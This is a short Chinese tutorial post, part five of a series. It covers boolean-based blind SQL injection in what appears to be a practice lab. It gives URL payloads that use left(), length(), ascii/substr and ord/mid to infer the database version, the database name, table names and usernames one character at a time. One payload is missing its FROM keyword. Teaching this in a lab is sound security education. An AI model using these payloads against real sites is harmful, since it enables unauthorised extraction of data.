好玩的sql第五篇

1-4篇是基础知识。 从第五篇开始是盲注的有关知识。

上次的正常显示用户名和密码,这次不管怎么样都是同样的字符串,看来不是 直接输出 查询结果,而是利用 条件判断 来输出结果。

一些小知识

1
2
3
4
rand():产生随机数
floor():取整
count():计数
group by():分组

开始实验五

第一步

1
2
3
?id=1' and left(select version(),1)=4--+
?id=1' and length(database())=8--+
?id=1' and left(database(),1)='s'--+

利用 left() 猜解版本、数据库长度、数据库名

第二步

1
2
3
ascii(substr((select table_name information_schema.tables where table_schema=database()limit 0,1),1,1))='*'--+
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id LIMIT 0,1),1,1))=??

limit 0,1是表示获取 第一个表 ,获取 第二个表 是limit 1,1